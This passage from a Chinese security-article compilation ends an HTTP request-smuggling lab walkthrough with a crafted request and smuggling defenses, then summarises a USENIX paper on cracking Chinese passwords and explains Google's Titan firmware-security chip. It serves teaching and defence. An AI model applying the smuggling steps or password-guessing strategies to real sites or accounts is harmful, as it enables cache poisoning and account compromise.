Content-Length: 10

123

然后构造 GET数据包

GET /resources/js/labHeader.js HTTP/1.1

Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0

Connection: close

POST请求和 GET请求交替进行，多进行几次，然后访问 js文件，响应为缓存的漏洞利用服务器

上的文件。

访问主页，成功弹窗，可以知道，js文件成功的被前端服务器进行了缓存。

12.6 6. 如何防御

从前面的大量案例中，我们已经知道了 HTTP请求走私的危害性，那么该如何防御呢？不针对特定的

服务器，通用的防御措施大概有三种。
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禁用代理服务器与后端服务器之间的 TCP连接重用。

使用 HTTP/2协议。

前后端使用相同的服务器。

以上的措施有的不能从根本上解决问题，而且有着很多不足，就比如禁用代理服务器和后端服务

器之间的 TCP连接重用，会增大后端服务器的压力。使用 HTTP/2在现在的网络条件下根本无法推广

使用，哪怕支持 HTTP/2协议的服务器也会兼容 HTTP/1.1。从本质上来说，HTTP请求走私出现的原

因并不是协议设计的问题，而是不同服务器实现的问题，个人认为最好的解决方案就是严格的实现

RFC7230-7235中所规定的的标准，但这也是最难做到的。

12.7 参考链接

https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%

2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
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生日、姓名和双相安全性：了解中国网络用户的密码

译者：CDra90n@SecQuan

来源：https://mp.weixin.qq.com/s/Xywl2gJbonvosW-Gm10MjQ

原文作者：Ding Wang,Ping Wang,Debiao He ,Yuan Tian

原文标题：Birthday, Name and Bifacial-security: Understanding Passwords of Chinese Web Users

原文来源：USENIX2019

原文链接：https://www.usenix.org/system/files/sec19-wang-ding.pdf

在本文中对 7,310万个真实的中文密码进行了广泛的实证分析，并与 3,320万个英文密码进行了比

较,重点介绍了中文密码中许多有趣的结构和语义特征。通过采用两种最新的破解技术来进一步评估

这些密码的安全性。特别的，破解结果揭示了中文密码的双相安全性（Bifacial-security），它们对在线

猜测攻击的抵抗力较弱（即，当允许的猜测数量较小，为 1到 104）。但其余的中文密码比英文更能抵

抗离线猜测攻击（即，当猜测数量大于 105时）。在 107个猜测中，本文改进基于 PCFG的针对中文

数据集的攻击的成功率为 33.2％~49.8％，这表明本文的攻击可以破解比现有技术高 92％至 188％的密

码。

13.1 一、简介

文本密码是当今几乎每个Web服务中访问控制的主要形式。尽管早在四十年前就已经揭示了它们的

安全隐患，并且自那时以来已提出了各种替代的身份验证方法（例如，图形密码和多因素身份验证），

但密码仍被广泛使用。其中一个原因是密码具有许多优点，例如部署成本低，易于恢复和明显的简单

性，而其他身份验证方法往往无法提供这些优点。另一个原因则是由于边际收益（marginal gain）通

常不足以弥补重大的过渡成本，因此缺乏有效的工具来量化不太明显的替换密码成本。此外，用户也

喜欢密码。

截至 2018年 6月，中国有 8.02亿网民，占世界互联网人口的 20％以上（也是最大比例）。以下关

键问题还没有令人满意的答案：

（1）是否存在区分中文密码和英文密码的结构或语义特征？

（2）中文密码如何应对主流攻击？

（3）他们是否比英语弱或强？

这些问题必须解决，以便为安全工程师和中国用户提供必要的安全指导。例如，如果第一个问题

的答案是肯定的，则表明密码策略（例如 length-8 +和 2Class12）和强度计量（例如 RNN-PSM和

Zxcvbn）原本专为说英语的用户而设计的，并不能轻易地应用于说汉语的用户。

本文作出了以下主要贡献：
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13.1.1 1、实证分析

通过首次利用 7310万个真实的中文密码：

（1）定量评估用户密码在多大程度上受到其母语的影响；

（2）系统地探索密码中的常见语义（例如日期，名称，地点和电话号码）；

（3）表明，尽管这两个用户组的密码是在不同的密码策略下创建的，但它们遵循非常相似的 Zipf

频率分布。

13.1.2 2、反转原理（reversal principle）

采用两种最先进的密码破解算法（即基于 PCFG和基于Markov的算法]）来衡量中文Web密码的强度，

本文还改进了基于 PCFG的算法，以更准确地捕获具有单调长结构的密码（例如 “ 1qa2ws3ed’’）。‘‘反

转原理’’即中文密码的双相安全性：当允许的猜测数字较小时，它们比英语密码弱得多，但是当猜测

数字较大时，这种关系就被逆转了。从而调和以往文献中的互相矛盾主张。

13.2 二、中文密码的特点

13.2.1 1、数据集和道德考虑

本文的实证分析使用了来自中文网站的六个密码数据集和来自英文网站的三个密码数据集。总共这 9

个数据集包含 1.063亿个实际密码。如下表所示，这 9个数据集在服务，语言，文化和规模方面有所

不同。他们在 2009年至 2012年间遭到黑客攻击并在互联网上公开发布。

尽管这些文献是公开可用的并且在文献中得到了广泛使用，但是这些数据集是私人数据。因此仅

报告汇总的统计信息，并将每个单独的帐户视为机密信息，以便在研究中使用该帐户不会增加对相应

受害者的风险，即，无法学习到任何可识别个人身份的信息。此外，这些数据集可能被攻击者用作破

解字典，而本文的使用既有益于学术界了解中国网民的密码选择，也有益于安全管理员保护用户帐户。

由于数据集都是公开可用的，因此这项工作的结果是可重复的。

13.2.2 2、数据清理

本文注意到一些原始数据集（例如 Rockyou和 Tianya）包含不必要的标题，说明，脚注，len> 100的

密码字符串等。因此，在进行任何探索之前，首先启动数据清理。将从原始数据中删除电子邮件地址

和用户名。进一步删除 len> 30的字符串，因为在手动检查原始数据集之后，发现这些长字符串似乎

不是由用户生成的，而是由密码管理器或仅是垃圾信息生成的。而且，如此长的密码通常超出了关心

破解效率的攻击者的范围。总体而言，排除的密码的比例可以忽略不计（请参阅上表中的最后一列），

但是此清理步骤统一了破解算法的输入并简化了以后的数据处理。
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本文发现 Tianya或 7k7k已被污染：Tianya数据集和 7k7k数据集之间存在不可忽略的重叠（即

7k7k的 40.85％和天涯的 24.62％）。更具体地说首先感到困惑的是，密码 “ 111222tianya’’最初在两个

数据集的前十大最常用列表中。通过手动检查原始数据集（在删除电子邮件地址和用户名之前），惊讶

地发现大约有 391万的两个数据集中的联合账户。有人将这些联名账户从 Tianya复制到了 7k7k，但

没有像以前的主要研究中得出的那样从 7k7k复制到了 Tianya。

13.2.3 3、密码特性

（1）语言依赖性

有一种说法即用户生成的密码受其本国语言的影响很大，但是迄今为止尚未进行大规模的定量测

量。为了填补这一空白首先说明了这 9个数据集的字符分布，然后根据字符分布的反转数（降序排列）

来测量密码与本机语言的接近程度。

不出所料，来自不同语言组的密码具有明显不同的字母分布（请参见下图）。出乎意料的是，即使

在多种多样的Web服务中生成和使用了相同语言组的密码，其字母分布也非常相似。这表明，当给定

密码数据集时，可以通过调查其字母分布来大致确定其用户的母语。所有中文密码的字母分布按降序

排列，是 aineohglwuyszxqcdjmbtfrkpv，而所有英文密码的分布是 aeionrlstmcdyhubkgpjvfwzxq。虽然两

个字母中的某些字母（例如，“ a’’，“ e’’和 “ i’’）频繁出现，但是某些字母（例如，“ q’’和 “ r’’）仅在

一组中频繁出现。攻击者可以利用这些信息来减少搜索空间并优化其破解策略。请注意，此处所有百

分比均不区分大小写。
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尽管用户的密码会受到其母语的极大影响，但通用语言的字母频率可能与密码的字母频率有所不

同。它们在多大程度上有所不同？根据之前的著作将中文（例如文学作品，报纸和学术论文等书面中

文文本）转换成中文拼音后的字母分布为 inauhegoyszdjmxwqbctlpfrkv。这表明在中文密码中很流行的

某些字母（例如 “ l’’和 “ w’’）在中文书面文字中的出现频率要低得多。可能的原因可能是，“ l’’和 “

w’’分别是姓氏 li和 wang（这是中国排名前 2位的姓氏）的第一个字母，而正如显示的，中国用户喜

欢使用名称创建其密码。

英语用户的密码也有类似的观察结果。英文语言的字母分布（即 etaoinshrdlcumwfgypbvkjxqz）来

自 www.cryptograms.org/letter-frequencies.php。[1]例如，“ t’’在英语文本中很常见，但在英语密码中并

不常见。一个合理的原因可能是，“ t’’用在了诸如 the, it, this, that, at, to之类的流行词中，而这种词在

密码中很少见。

为了进一步探索密码与本土语言和其他数据集的密码的紧密度，测量了两个密码数据集（以及语

言）之间字母分布序列的反转数（降序排列）。结果总结在下表中。“Pinyin_fullname’’是由 2,426,841

个独特的中文全名组成的词典（例如 wanglei和 zhangwei），“Pinyin_word’’是由 127,878个独特的中

文单词（如 chang和 cheng）组成的词典。请注意，序列 A到序列 B的反转数等于 B到 A的反转数。

例如，inauh到 aniuh的反转数为 3，等于 aniuh到 inauh的反转数。

如下表所示，来自同一语言组的密码之间的字母分布反转数通常比来自不同语言组的密码的反转

数小得多。此值也明显小于密码及其本国语言之间的字母分布的值（请参阅表 2中的粗体值）。后者的

期望值较低。所有这些表明，来自不同语言的密码在字母分布上本质上彼此不同，并且密码接近其本

国语言，但区别仍然很大（可测量）。

（2）长度分布

下图描述了密码的长度分布。不论Web服务，语言和文化差异如何，每个数据集的最常用密码长

度在 6到 10之间，其中 6到 8为首。仅长度为 6到 10的密码就可以占每个数据集的 75％以上，如果

考虑长度为 5到 12位的密码，则该值将升至 90％。很少有用户喜欢长度超过 15个字符的密码。值得

注意的是，人们似乎更喜欢偶数长度而不是奇数长度。另一个有趣的发现是，CSDN在其长度分布曲

线中仅显示一个峰值，并且密码的长度 <8少得多（即仅 2.16％）。这可能是由于密码策略要求此站点

上的长度不能小于 8。
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（3）最受欢迎的密码

下表显示了来自不同服务的前 10 个最常见的密码。所有数据集中最常见的密码是 “ 123456’’，

CSDN是唯一的例外，因为其密码策略要求密码的长度为 8+（见图 2）。“111111’’紧跟其后。其他流

行的中文密码包括 “ 123123’’，“ 123321’’和 “ 123456789’’，它们均由数字组成，并以简单的方式（例

如重复和回文）组成。爱情还展示了其神奇的力量：“ 5201314’’，在中文中具有类似的 ‘‘我永远爱你’’

的发音，2出现在四个中文数据集的前十名中。相反，英语数据集中的流行字母往往是有意义的字母

字符串（例如 “ sunshine’’和 “ letmein’’）。永恒的爱情主题-坦率地说，“ iloveyou’’，或者也许是委婉地

说，是 “princess’’，也出现在英语数据集的前 10名列表中。结果证实了说法 ‘‘早在网络出现之初，最

流行的密码是 12345。今天，它虽然长了一位，但更不安全：123456。”

（4）密码中的语义
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下表显示了密码中各种语义模式的普遍性。许多说英语的用户倾向于使用原始的英语单词作为其

密码构建块：25.88％，将 5个字母以上的单词插入其密码。使用 5个字母以上的单词的密码占使用 5

个字母以上的子字符串的密码总数的三分之一以上。相比之下，选择中文单词构建密码的中国用户较

少（2.41％），但他们更喜欢拼音名称（11.50％），尤其是全名。

特别是在所有包含 5个字母以上的子字符串的中文密码中（22.42％），一半以上（11.24％）包含

5个字母以上的拼音全名。也有 4.10％的英文密码包含 5个字母以上的全拼音名称。一个合理的解释

是，许多中国用户已经在这些英语站点中创建了帐户。例如，流行的中文拼音名称 “ zhangwei’’出现

在 Rockyou和 Yahoo中。还注意到英语名称也广泛用于英语密码中，但是全名不如姓氏和名字流行。

平均有 16.99％的中国用户在密码中插入一个六位数的日期。进一步考虑到用户喜欢将自己的信息

包含在密码中，这样的日期很可能是用户的生日。此外，约有 30.89％的中文用户使用 4位数字以上的

日期来创建密码，这比英语用户高出 3.59倍（即 8.61％）。另外，有 13.49％的中国用户在密码中输入

四位数的年份，这比说英语的用户（3.80％）高 3.55倍。注意到可能有一些高估，因为没有办法明确

区分某些数字序列是否为日期，例如 010101和 520520。这两个序列可能是日期，但它们也可能具有

其他语义含义（例如 520520听起来像 ‘‘我爱你，我爱你’’）。如稍后所述已经设计出解决此问题的合

理方法。总之，日期在中国用户的密码中起着至关重要的作用。

主要注意密码长度 4、6和 8位数字，因为：

1）长度 4和 6是西方和亚洲使用最广泛的 PIN码的长度；

2）6和 8是两个最常见的密码长度。

有趣的是，有 2.91％的中国用户很可能使用其 11 位数字的手机号码作为密码，占所有密码的

39.59％，其子字符串超过 11位。平均而言，中文密码的 12.39％长于 11。因此，如果攻击者可以确定

（例如，通过肩窥）受害者使用了长密码，则她成功的可能性很高，为 23.48％（= 2.91％/12.39％），只需

尝试受害者的 11位数手机号码即可。这揭示了针对长中文密码的实用攻击策略。
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请注意，在确定文本/数字序列是否属于特定词典时存在一些不可避免的歧义，而这些歧义的不

正确解析会导致过高或过低的估计。这里以 “ YYMMDD’’为例。例如，111111和 520521都属于 “

YYMMDD’’，并且非常受欢迎。但是，用户选择它们的可能性很可能仅是因为它们是易于记忆的

重复数字或有意义的字符串，并将它们视为日期会导致高估。然而，它们确实可以是日期（例如，

111111代表 “ 2011年 11月 11日’’，而 520131代表 “ 1952年 1月 31日’’），并且将它们完全排除在 “

YYMMDD’’之外会导致日期被低估。

因此，假设用户生日是随机分布的，并且将这些日期的期望值（由 E表示）而不是零分配给这些

异常日期的出现频率。在字典 “ YYMMDD’’中手动识别出 17个异常日期，这些日期最初的频率大于

10E，并出现在六个中文数据集的每个前 1000个列表中。这样，可以很大程度上解决歧义。同样处理 “

MMDD’’中的 16个异常项。

13.3 三、中文 Web密码的强度

现在，使用两种最先进的密码攻击算法（即基于 PCFG和基于Markov）来评估中文Web密码的强度，

实际上可以利用例如日期和拼音名称来进行密码猜测

1、基于 PCFG的攻击

基于 PCFG 的模型是最新的破解模型之一。首先，它将训练集中的所有密码划分为相似字符

序列的段，并获得相应的基本结构及其相关的出现概率。例如，将 “ wanglei @ 123’’划分为 L段 “

wanglei’’，S段 “ @’’和 D段 “ 123’’，从而得到基础结构 L7S1D3。L7S1D3的概率是 (#of L7S1D3)/(#of

base structures)。此类信息用于生成概率上下文无关文法。

然后，人们可以以概率递减的顺序得出密码猜测。每个猜测的概率是其推导过程中所使用的结果

的概率的乘积。例如，将 “ liwei@123’’的概率计算为 P（“ liwei@123’’）＝ P（L5S1D3）·P（L5liwei）·

P（S1@）·P（D3123）。D和 S段的概率是通过计算从训练集中学习的，而 L段则是通过从训练集中学

习或使用外部输入词典来处理的。本文通过直接从训练集中学习来实例化密码猜测的 PCFG L段。

按语言将 9个数据集分为两组。对于中文测试集，从 Duowan数据集中随机选择 1M密码作为训练

集（用 “ Duowan_1M’’表示）。原因是：在数据集 “All Chinese PWs’’中，Duowan的反转数最少，并且

可能最好地表示通用的中文Web密码。同样，对于英语测试集，从 Rockyou中选择 1M密码作为训练

集。由于仅使用了 Duowan和 Rockyou的一部分，因此将其余的密码和其他 7个数据集用作测试集。

下图（a）和（b）分别显示了对中文组和英文组的攻击结果。
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双相安全。当允许的猜测数字（即搜索空间大小）小于约 3,000时，中文密码通常比同一服务的英

文密码弱（例如，Tianya与 Rock you，Dodonew与 Yahoo和 CSDN与 Phpbb）。例如，按 100个猜测，

对 Tianya，Dodonew和 CSDN的成功率分别为 10.2％，4.3％和 9.7％，而英语水平分别为 4.6％，1.9％

和 3.7％。但是，当搜索空间大小大于 10,000时，中文Web密码通常比英文密码强得多。例如，在 1000

万个猜测中，对 Tianya，Dodonew和 CSDN的成功率分别为 37.5％，28.8％和 29.9％，而英语水平分别

为 49.7％，39.0％和 41.4％。当猜测数进一步增加时，强度差距将更大。这揭示了一种逆转原理，即

中文密码的双相安全性：与英文密码相比，它们更容易受到在线猜测攻击（即，当允许的猜测数较小

时）；但是，在剩下的中文密码中，它们更安全地防止了离线猜测。这种双面安全性很大程度上是由于

基于数字的密码的双面密度性质：基于最高数字的密码更加趋同，而数字通常比字母更具随机性（且

发散性）。

2、基于马尔可夫的攻击

为了显示了关于口令安全性的结果的鲁棒性，还对基于马尔可夫的攻击进行了进一步的研究。

为了使实验尽可能重现，现在进行详细设置。考虑了两种平滑技术（即 Laplace平滑和 Good-Turing

平滑）来处理数据稀疏性问题，以及两种归一化技术（即基于分布和基于结束符号的方法）来处理密

码长度分布不平衡问题。这在下表中带来了四种攻击情形。在每种情形下，考虑三种类型的马尔可夫

阶（即 5阶，4阶和 3阶）来研究哪种顺序表现最佳。

五个场景的实验结果非常相似。这里主要显示下图中方案 1的攻击结果，而方案 2和 5的实验结

果由于空间限制而被省略。

可以看到，对于中文和英文测试集：（1）在较大的猜测（即 > 2 * 106）下，四阶马尔可夫链显

然比其他两个阶更好，而在较小的猜测下（即 <106）阶数越大，性能将越好；（2）在较小的猜测下，

Laplace和 GT Smoothing在性能上几乎没有差异，而随着猜测数的增加，Laplace Smoothing的优势变

得更大；（3）结束符归一化总是比基于分布的方法更好，而小的猜测它的优势将更加明显。以前的主

要研究尚未报道过这种观察。这表明：1）大体上以 4阶，拉普拉斯平滑和末端符号归一化（见图 6

（b）和 6（e））进行的攻击效果最佳；和 2）稍作猜测，偏爱 5阶，拉普拉斯平滑和末端符号归一化的

攻击（见图 6（a）和 6（d））表现最佳。
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结果表明，PCFG攻击中发现的双相安全性也适用于所有马尔可夫攻击。例如，在基于 4阶马尔可

夫链的实验中（参见下图（b）和（e））当猜测数字低于 7000左右时，中文Web密码通常很多比他

们的英语弱。例如，按 1000个猜测，对 Tianya，Dodonew和 CSDN的成功率分别为 11.8％，6.3％和

11.6％，而英语同行（即 Rockyou，Yahoo和 Phpbb）分别仅为 8.1％，4.3％和 7.1。％。但是当允许的猜

测数字超过 104时，中文Web密码通常比英文密码强。例如，根据 106个猜测，对 Tianya，Dodonew

和 CSDN的成功率分别为 38.2％，20.4％和 25.4％，而他们的英语水平分别为 38.6％，24.8％和 32.3％。

13.4 四、影响

‘‘双相安全性’’的发现表明，中国密码更容易受到在线猜测攻击。这是因为最受欢迎的中文密码比较集

中。因此一个特殊的黑名单包括一个中等数量的最常见的中文密码（例如 10K到 20K），对于中文站点

抵御在线猜测非常有帮助。可以从各种泄漏的中国数据集中获知这样的黑名单（http://t.cn/RG88tvF）。

落入该列表的任何密码将被视为弱密码。但是，众所周知，如果某些流行密码（例如 woaini1314）被

禁止，则会出现新的流行密码（例如 w0aini1314）。这些新的流行密码可能不在静态黑名单中，并且

难以检测。因此仅密码创建策略（例如，长度和黑名单规则）就足以防止这种弱密码。需要一种深度

防御方法：只要有可能，除了密码创建策略外，安全性至关重要的服务还可以进一步使用密码强度表

（例如，fuzzyPSM和 Zxcvbn）来检测和防止弱密码。
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Google OpenTitan，硬件安全的泰坦之箭？

作者：Yao Zhang@Tencent Blade Team

来源：https://mp.weixin.qq.com/s/E9UxWNMm2E_FnnggfVjt8Q

14.1 导语：

从Windows 98的 CIH病毒，到 2011年的 BMW木马，再到 2018年的 APT-28攻击，底层安全威胁此

起彼伏。企业信息基础设施是否值得信任，已成为服务提供商需要回应的关键问题。今年 11月 Google

OpenTitan项目正式发布，平台可信启动问题成为业内关注焦点。本文将解读 Titan安全芯片的基本原

理，并针对现阶段服务器硬件安全防护体系的建设思路和大家做一下简单探讨。

14.2 1.不断升级的攻防博弈

对于服务器平台的底层攻击，大多集中在对固件（Firmware）内容的非法修改上。早期的 Legacy BIOS

木马，以破坏机器的可用性为主要目标，如 CIH病毒，可以直接清空 BIOS导致无法正常开机。其他

的固件木马，通过感染个人电脑的主/卷引导目录（MBR/VBR），实现持久化驻留的目的，使终端用户

叫苦不迭。

随着技术演变，Legacy BIOS逐步被 UEFI（服务器启动的新规范）替代，硬件木马也被更多地应用

到高级入侵与渗透之中（如 APT-28 LoJax木马）。与之前被黑产利用，存在明显异常行为的特征不同，

固件入侵威胁变得更隐蔽、更顽固，例如针对特定企业的供应链攻击、针对特定机器的恶意女仆攻击

（基于物理接触，如通过 U盘植入木马）、利用启动管理命令实现启动路径修改攻击（如 efibootmgr指

令）等—---这些恶意向量不再局限于 OS层的渗透范畴，因此可以有效地绕过常规监控策略。

硬件安全风险带来了信任的危机，尤其是大型企业，影响更加广泛。在企业内部，数据中心基础设

施是否安全可靠？在企业外部，是否可以让云平台得到所服务用户的信任？

妥善解决上述问题的一种策略是，充分利用现有的安全防护技术，如 IDS、IPS、WAF，布下天罗

地网—---可是这些方式即便发现异常，也很难准确地定位风险来源，无法彻底排除隐患；另一种方式

是通过可信执行环境（TEE），如 Intel SGX技术，以内存加密的方式构建应用程序独享的可信执行区

域，将一部分机密的数据和代码隔离起来做机密计算。但这种方式实际上并没有缓解机器被攻陷的风

险，偏安一隅的思路能够暂时保障数据安全，但无法保护平台本身不被入侵。

14.3 2.防御方法与业内标杆

那保障平台安全的有效方案是什么样的呢？一种可行策略是，构建无法被篡改的信任根（RoT，Root

of Trust），对于平台启动过程中所需执行的固件对象，在其执行前，依次进行合法性验证与信任链条

的扩展。在所有固件对象完成校验后，平台执行操作系统的启动，这样一来，系统最终进入可被信任

的 Runtime状态。
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这个方法听上去简单直接，但操作起来又是另一番情景—---图 1给出了 NIST标准下服务器架构所

包含的组成对象，在操作系统层之下，存在十几种硬件固件对象，如：

1. UEFI BIOS：服务器系统启动固件，其固件镜像存储于 SPI总线下的一块闪存片（Boot FW Flash）

中；

2. BMC：带外管理系统，有单独固件，提供不依赖操作系统的服务器管理能力；

3. Boot Loader: 操作系统 OS引导程序，其主要功能是用来载入 OS内核；

4. NIC：外设网卡及其固件；

5. GPU：显卡及其固件；

图 1服务器系统组成元素

理想情况当然是对涉及到的全体固件对象进行合法性校验，但这不现实，臃肿的开机检测过程会

极大地影响机器启动的效率，复杂的厂商供应链组成也让这一目标的达成变得困难；同时，鉴于入侵

某些固件的难度很高，攻击的概率很小，这样的防护方式也会显得多此一举—---在考虑攻击者的利用

难度、风险水平等多个维度后，底层安全防护最主要的固件对象，一般聚焦在 BIOS，BMC和 Boot

Loader上。

不管是现有的硬件防护方案（如 TPM 2.0技术,后文会进一步说明），还是业内普遍认可的 ‘‘下一代

硬件安全防护方案’’，基本上是围绕上述三大固件对象进行安全方案的设计。主流的下一代硬件安全

防护方案包括 Google Titan[1]、Intel PFR[2]、Microsoft Cerberus[3]和我国沈昌祥院士提出的 TPCM[4]。

区别于现有 TPM 2.0方案所提供的被动式校验固件的能力，这些新的设计都满足主动校验服务器关键

固件的能力，但由于涉及到主板设计和硬件结构的定制修改，除了 Google Titan方案在谷歌云内部被

使用之外，其余方案还未能广泛应用到实际案例中。作为下一代硬件防护方案的标杆，下面将为大家

解读 Google Titan安全芯片的基本原理。
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14.4 3.Google Titan概述

Titan芯片在 Google Cloud Next 2017大会上首次被提出，它主要被用来保障谷歌云基础设施的启动安

全。在功能层面，Titan具有以下三大核心特征：

（1）自主可控的物理可信根：

与传统的 TPM 2.0外设芯片不同的是，Titan芯片中包含了 Google的物理可信根 BOOT ROM，可

以作为平台启动信任的锚点，这样一来，谷歌服务器启动的信任起点便掌握在了自己的手中。

由于引入了 BOOT ROM，Titan也包含了一个自我修复功能，可以保证在出现 Titan芯片漏洞时，

对 BOOT ROM进行升级，重新建立信任关系。

如图 2所示，Titan在硬件结构上包括了一块 32位的 RISC-V处理器，具有密码和密钥管理功能的

外设部分（与 TPM 2.0的设计几乎一致），以及蓝色部分中，作为硬件可信根而存在的 BOOT ROM。

图 2 Titan组成元素一览

（2）首指令完整性校验：

通过 Titan芯片，可以实现对于 BIOS早期运行代码的合法性验证，通过校验后再执行相关的代码。

图 3 Titan芯片主板连接方式示意图
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实现上述首指令完整性校验的关键是 Titan芯片在主板上的特殊连接方式，如图 3所示，Titan芯

片串接了 SPI总线，如守门员一样介于主板南桥（PCH）或带外管理系统（BMC）与 BIOS固件的闪

存芯片之间。这样一来，Titan芯片驱动下的服务器启动过程可描述为：

1.当 CPU上电开机/重启时，开机/重启信号由 PCH或 BMC传递至 Boot FW Flash途中，由 Titan

芯片接收并拦截。

2.Titan芯片执行其只读内存（BOOT ROM）下的代码，并启动一个自检程序，检测 Titan芯片自身

没有被篡改过。如自检通过，Titan芯片中的代码将正常运行。

3.Titan芯片通过签名校验的方式，验证 BIOS固件的合法性。在校验通过后，释放原始的开机/重

启信号。从而 BIOS固件得以被正常加载并执行启动操作。

4.经过检验的 BIOS固件会配置服务器并且加载 Boot Loader，Boot Loader会检查和加载操作系统

OS。

（3）持续监控 SPI总线上的异常操作。

如图 4所示，在完成上述服务器启动过程后，Titan芯片会实时监控 SPI总线上的数据流，任何试

图修改 Flash固件的非法操作都会被过滤掉，以持续保障 BIOS固件的安全。

图 4 Titan在 SPI总线上的监控逻辑

除了上述主要特征以外，Titan的支撑系统也引入了一系列防篡改机制，来抵御包括侧信道攻击在

内的安全威胁，相应的防护措施包括攻击检测（故障、激光、热、电压）、保险丝、密钥存储、时钟和

内存完整性检查等。同时，Titan也使用 OTP保险丝跟踪服务器从制造到生产整个生命周期的过程。

挑战与局限。

需要指出的是，从目前公开的材料来看 [1]，Titan方案还没有解决如何进行 BMC和 Boot Loader的

安全防护。对于 BIOS的防护，实现首指令完整性这一点也依赖 SPI总线的硬件结构调整和支持，对

于一些企业用户来说，改造成本依旧比较高。此外，在 SPI总线上进行监控和流量管理，也不免会产

生对正常业务的误伤，如何保障监控逻辑的安全性，也需要谨慎和严密的设计。
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14.5 4.OpenTitan：群雄逐鹿下的厂商生态

国外厂商在下一代平台硬件安全方案上，呈现出百家争鸣的态势，除了 Google的 Titan[1]，还包括前

文提及到的 Intel PFR[2]，Microsoft Cerberus[3]，以及国内倡导的 TPCM解决方案 [4]等。

其中，PFR有 Intel的下游厂商支持和配合，Cerberus借助 OCP社区的影响力，也获得了很多厂商

的响应与认可；在我国等级保护 2.0的合规性要求下，TPCM也有一定的部署激励与实践场景。

而 Google Titan，一直以谷歌云私有化部署的形态存在，缺乏对于社区和厂商的影响力，这对硬件

安全方案的应用和迭代优化都会造成一定的阻力。出于竞争压力与社区博弈等因素，Google在近期将

大部分 Titan芯片源码进行了开源，也就是现在浮出水面的 OpenTitan项目 [5]。

OpenTitan公开了 Titan芯片的大部分实现环节，在打造社区影响力和促进厂商合作的方面，较 Intel

和Microsoft可谓扳回一城。需要说明的是，OpenTitan当前开源部分的代码还不成熟 [6,7]，某些环节

涉及芯片加工商的专有制造工艺（如可信根部分的逻辑），在短期内也很难完全公开 [8]，如图 5所示。

图 5 Titan方案的开源情况（绿色为完全开源）

如果后续 OpenTitan可以促使这一实践的更多细节公开，使得企业用户可以更好地缩小其信任范

围，那么 OpenTitan的竞争优势将会进一步凸显—---就目前来看，大厂的下一代解决方案都默认设置

由大厂控制的可信根，与企业用户需要更灵活、开放的可信根配置能力的需求相矛盾，这一点会很大

程度上影响使用者对于硬件安全方案的选择。

总的来看，下一代硬件安全防护方案仍待打磨，银弹并未出现。对于企业来说，目前还无法直接应

用 Cerberus、PFR、TPCM这些技术方案。Titan方案虽已开源，但仍处于相对初期的建设阶段，前文

提及的挑战与局限，也不会因为 Titan的开源而在短时间内得到解决。
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14.6 5.防护体系的建设思路

那么问题来了，现阶段企业服务器硬件安全防护应该如何展开呢？换句话讲，对于大部分企业来说，

是否可以暂时不付出主板重构的昂贵代价，实现 x86服务器硬件安全防护的目标呢？

答案是肯定的。在笔者来看，这一目标的达成，可以与下述三个方面的工作紧密结合起来：

14.6.1 1、组合出击，化整为零。

即便是 Titan和 PFR方案，也没有清楚的解释如何校验 Boot Loader的合法性。由此我们不难发现，仅

仅依靠单一方案，很难有效的兼顾所有硬件安全防护需求。

因此通过化整为零，合理地进行防护点的拆分，并在此基础上整合现有技术方案，其防护效果甚

至优于单纯使用某一个 ‘‘先进的’’防护机制。

那么这里让我们盘点一些现阶段已成熟的硬件防护的技术：

BIOS WP：即基于寄存器实现的 BIOS写保护，在 Intel平台可以使能，AMD平台待确认。Secure

Flash：保证 BIOS、BMC固件更新进行时，新的固件镜像满足签名的合法性。Intel Boot Guard：通过

签名校验的方式，保障 BIOS启动最初阶段代码的完整性与合法性，类似技术还包括 AMD平台下的

PSB方案。UEFI Secure Boot：新固件标准 UEFI下，通过校验签名，验证 Boot Loader和 Option Rom

合法性的检测方案，在 Intel和 AMD平台通用。TPM 2.0/TCM：使用兼容国密密码算法的可信计算芯

片进行开机启动过程的静态度量，实现对于启动阶段固件的完整性校验，在 Intel和 AMD平台通用。

我们发现，这些方案可以满足对 BMC、BIOS、Boot Loader实现局部的防护效果：或进行主动校

验（Boot Guard），或采取被动度量（TPM 2.0/TCM）；或实施事前防护（BIOS WP、Secure Flash），或

借助事后检测（UEFI Secure Boot）。那么面对潜在的底层安全威胁，我们可以部署多个单点方案，从

而形成一记组合拳式的纵深防护效果，最终建立起服务器平台端到端可信链条。

14.6.2 2.实时监控，运筹帷幄。

在 Google和 Intel的解决方案中，都涉及到 OS启动之后，在硬件层面对与 BIOS固件闪存（Boot FW

Flash）进行交互的指令流的持续性监控，这一点是 Titan和 PFR作为下一代平台解决方案的关键优势

之一。

而 Boot Guard、UEFI Secure Boot这些方案，都是系统启动过程中进行防护，存在延迟性检测的弊

端，也就是说，方案检测的实际效果很大程度上要取决于机器重启的频率。那么，在机器长期不重启

的情况下，BIOS是否已经被篡改便不得而知，对于攻击者入侵行为的取证能力较弱，会让防御的一

方在攻防对抗中变得被动。

实际上，可以将对于 Boot FW Flash的硬件层实时监控，调整为 Runtime下的对于 BIOS固件内容

的（接近实时）周期性检测，一方面避免了硬件改板，以及总线监控不当引起的通信延迟；另一方

面，由于 OS层的计算资源更为丰富，数据分析方式更为多样，也可以获得更准确的分析效果。当然

Runtime态的 BIOS监控可能会存在一定的被绕过风险，但对于应对中低烈度的安全攻击，提升对于底

层威胁的取证能力，有着重要的意义。目前我们团队也在服务器安全系统（洋葱）实践准实时的 BIOS

安全监控，也取得一定进展。
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14.6.3 3.关注运营，见微者著。

企业服务器的规模数以万计，在部署硬件防护方案的时候，方案设计必须与部署运营紧密结合。见微

者著，只有妥善处理好方案实施过程中的各项细节问题，硬件方案才能发挥真正的防护效果。

运营相关的具体实例太多，这里简述一二：

UEFI Secure Boot、Intel PFR、Google Titan方案都是基于签名机制进行合法性校验的，在实际运营

